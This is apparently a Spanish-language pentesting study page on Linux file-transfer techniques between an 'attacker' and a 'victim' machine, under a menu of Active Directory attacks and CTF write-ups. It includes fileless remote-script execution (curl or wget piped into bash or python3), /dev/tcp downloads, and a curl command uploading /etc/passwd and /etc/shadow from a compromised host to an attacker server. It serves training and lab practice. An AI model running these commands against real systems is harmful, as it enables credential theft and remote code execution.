d4redevil
  • whoami
  • Active Directory
    • Enumeración
    • PowerShell para gestionar Active Directory
    • PowerView & SharpView
    • Ataques a Kerberos
    • Ataque de contraseñas
    • SMB Relay
    • Token Impersonation
    • Golden Ticket
    • LLMNR Poisoning
    • Mimikatz
    • Grupos privilegiados
    • LAPS
  • Linux
    • Enumeración
    • Escalación de privilegios
    • Transferencia de Archivos
  • Windows
    • Enumeración
    • Escalación de privilegios
      • SeImporsonate
      • SeDebugPrivilege
      • SeTakeOwnershipPrivilege
      • Backup Operators
      • DnsAdmins
    • Transferencia de Archivos
  • Scripting
    • Powershell
      • Introducción
      • Cmdlet
      • Alias
      • Comentarios
      • Comandos utiles
      • Variables
      • Tuberías (Pipes)
      • Operaciones
      • Estructuras Condicionales
  • OWASP TOP 10 y Vulnerabilidades Web
    • Inyecciones SQL
      • ¿Qué son las Inyecciones SQL?
      • Laboratorio
      • Inyecciones SQL basada en Uniones
      • Inyecciones SQL basadas en booleanos
      • Inyecciones SQL basadas en tiempo
  • Writeups
    • Hack The Box
      • Linux
        • 🟢Easy
        • 🟡Medium
          • Zipping
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
          • Devel
          • Grandpa
          • Granny
          • Jerry
          • Optimum
          • Legacy
          • Active
          • Sauna
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
    • The Hackers Labs
      • Linux
        • 🟢Principiante
          • Papaya
          • Can You Hack Me?
        • 🟡Avanzado
          • Runners
          • El Candidato
          • El Cliente
        • 🔴Profesional
        • ⚫Experto
          • ⚫Thlcppt_v16
      • Windows
        • 🟢Principiante
          • Cocido Andaluz
          • Ensalá Papas
        • 🟡Avanzado
        • 🔴Profesional
          • BlackGold
        • ⚫Experto
    • Dockerlabs
      • 🔵Muy fácil
      • 🟡Fácil
      • 🟠Medio
        • Database
      • 🔴Difícil
    • VulnHub
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
    • HackMyVM
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
  • Servicios Comunes
    • TCP
    • UDP
    • FTP (21)
    • SMB (445)
    • MySQL (3306)
    • MSSQL (1433)
  • Cheatsheet
    • Reconocimiento
    • Enumeración
    • Enumeración Web
    • Enumeración de CMS
    • Fuerza Bruta
    • Pivoting
    • Msfvenom
    • Utilidades
    • Fuerza bruta
    • Transferencia de Archivos
  • Contenedores
    • Docker
Con tecnología de GitBook
En esta página
  • Operaciones de Descarga
  • Codificación/Decodificación Base64
  • Descargas web con Wget y cURL
  • Ataques sin archivos usando Linux
  • Descargar con Bash (/dev/tcp)
  • Descargas SSH
  • Web Upload
  • Netcat
  • Método alternativo de transferencia de archivos web
  • Operaciones de Subida
  • SCP
  1. Linux

Transferencia de Archivos

Diferentes utilidades para las operaciones de transferencia de archivos en Linux.

Operaciones de Descarga

Codificación/Decodificación Base64

Máquina atacante

cat test.txt | base64 -w 0; echo
SGVsbG8gV29ybGQhCg==

Máquina víctima

echo "SGVsbG8gV29ybGQhCg==" | base64 -d > test.txt

Descargas web con Wget y cURL

Dos de las utilidades más comunes en las distribuciones de Linux para interactuar con aplicaciones web son wget y curl. Estas herramientas están instaladas en muchas distribuciones de Linux.

Para descargar un archivo usando wget, necesitamos especificar la URL y la opción -O para establecer el nombre del archivo de salida.

Descargar un archivo usando wget

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

Descargar un archivo usando cURL

cURL es muy similar a wget, pero la opción del nombre del archivo de salida es -o en minúscula.

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o /tmp/LinEnum.sh

Ataques sin archivos usando Linux

Descarga sin archivos con cURL

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

Descarga sin archivos con wget

wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Hello World!

Descargar con Bash (/dev/tcp)

También puede haber situaciones en las que ninguna de las herramientas de transferencia de archivos más conocidas esté disponible. Siempre que esté instalada la versión 2.04 o superior de Bash (compilada con --enable-net-redirections), el archivo de dispositivo integrado /dev/tcp se puede utilizar para descargas de archivos simples.

Máquina atacante

Creamos un servicor HTTP con Python.

python3 -m http.server 80

Máquina víctima

Nos conectamos al servidor web de destino

exec 3<>/dev/tcp/10.10.10.32/80

Realizamos la solicitud HTTP GET

echo -e "GET /test.txt HTTP/1.1\n\n">&3

Imprimimos la respuesta

cat <&3

Descargas SSH

Linux: descarga de archivos mediante SCP

scp elliot@192.168.1.19:/root/myroot.txt . 

Web Upload

Lo primero que debemos hacer es instalar el uploadserver módulo.

Iniciar servidor web

sudo python3 -m pip install --user uploadserver

Ahora necesitamos crear un certificado. En este ejemplo, utilizamos un certificado autofirmado.

Crear un certificado autofirmado

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

El servidor web no debe alojar el certificado. Recomendamos crear un nuevo directorio para alojar el archivo en nuestro servidor web.

Iniciar servidor web

mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Ahora desde nuestra máquina comprometida, carguemos el /etc/passwd y /etc/shadow archivos.

Máquina Víctima (Linux)

curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Usamos la opción --insecure porque utilizamos un certificado autofirmado en el que confiamos.

Netcat

Máquina atacante

nc -l -p 4444 > output.txt

Máquina victima

nc -w 3 192.168.1.10 4444 < output.txt

Método alternativo de transferencia de archivos web

Linux: creación de un servidor web con Python3

python3 -m http.server

Linux: creación de un servidor web con Python2.7

python2.7 -m SimpleHTTPServer

Linux: creación de un servidor web con PHP

php -S 0.0.0.0:8000

Linux: creación de un servidor web con Ruby

ruby -run -ehttpd . -p8000

Descargamos el archivo

wget 192.168.1.19:8000/filetotransfer.txt

Operaciones de Subida

SCP

scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/

AnteriorEscalación de privilegiosSiguienteEnumeración

Última actualización hace 8 meses

Podemos usar , un módulo extendido de Python HTTP.Server módulo, que incluye una página de carga de archivos. Para este ejemplo de Linux, veamos cómo podemos configurar el uploadserver módulo a utilizar HTTPS para una comunicación segura.

uploadserver